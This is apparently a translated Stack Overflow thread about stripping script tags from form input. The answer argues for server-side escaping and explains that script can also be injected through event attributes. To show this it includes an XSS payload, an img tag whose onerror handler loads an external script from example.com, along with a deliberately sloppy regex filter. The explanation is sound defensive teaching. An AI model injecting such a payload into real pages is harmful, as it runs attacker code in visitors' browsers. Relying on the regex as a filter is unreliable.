簡體   English   中英

如何創建要刪除的表格 <script></script> 標簽並刪除此標簽之間的內容或腳本?

[英]How to create form to remove <script></script> tags and remove content or script between this tags?

如何創建表單以刪除<script></script>標簽並刪除標簽之間的內容或腳本。 請任何人為我做一個表格(我已經問過這個問題,但沒有找到任何有幫助的答案。)

像這樣的形式:(此形式僅刪除<script></script>標記,不刪除<script>text</script>標記之間的<script>text</script>

<script type="text/javascript">

// Strip HTML Tags (form) script- By JavaScriptKit.com (http://www.javascriptkit.com)
// For this and over 400+ free scripts, visit JavaScript Kit- http://www.javascriptkit.com/
// This notice must stay intact for use

function stripHTML(){
var re= /<\S[^><]*>/g
for (i=0; i<arguments.length; i++)
arguments[i].value=arguments[i].value.… "")
}

</script>

<form onSubmit="stripHTML(this.data1, this.data2)">

<textarea name="data1" style="width: 400px; height: 100px"></textarea>

<textarea name="data2" style="width: 400px; height: 100px"></textarea>

<input type="submit" value="submit">
</form>

看起來您正在嘗試在提交表單之前從textarea剝離HTML。

這毫無意義,因為任何驗證和轉義都需要在您的服務器上進行。 如果您有在script元素中提交非常大的代碼塊並試圖減少一些通信量的歷史,那么我可以想到的唯一好處。

您應該按原樣提交表單(可以選擇在客戶端進行驗證),然后不要從中剝離標簽 相反,請保持原樣,然后根據上下文選擇轉義方法。 例如,如果您將此文本視為文本,並且需要將其顯示回最終用戶,請使用echo htmlspecialchars($_POST['data1']);

請記住,還有其他將JavaScript注入頁面的方法–您要做的不只是使<script>標記無效。

例如,您可以將Javascript作為DOM屬性包含在內-它將被執行。

<img src="ლ(ಠ益ಠლ)" onerror="var b=document.createElement('script');b.setAttribute('src','http://www.example.com/script.js');var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(b,s);"/>

<img>標記具有虛假的URL,因此將導致錯誤,並觸發其onerror處理程序。 在這種情況下,我將其設置為加載外部JS文件。

如果您確實要阻止執行任意Javascript,則必須執行一些其他處理。

以下(超級草率)正則表達式將匹配任何包含onerror屬性(但YMMV)的HTML標記。 在這種形式下,它還可以匹配諸如<div class="onerror">東西,並且您不想刪除可能無害的東西。

(<)(.*?)(onerror)(.*?)(>)

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM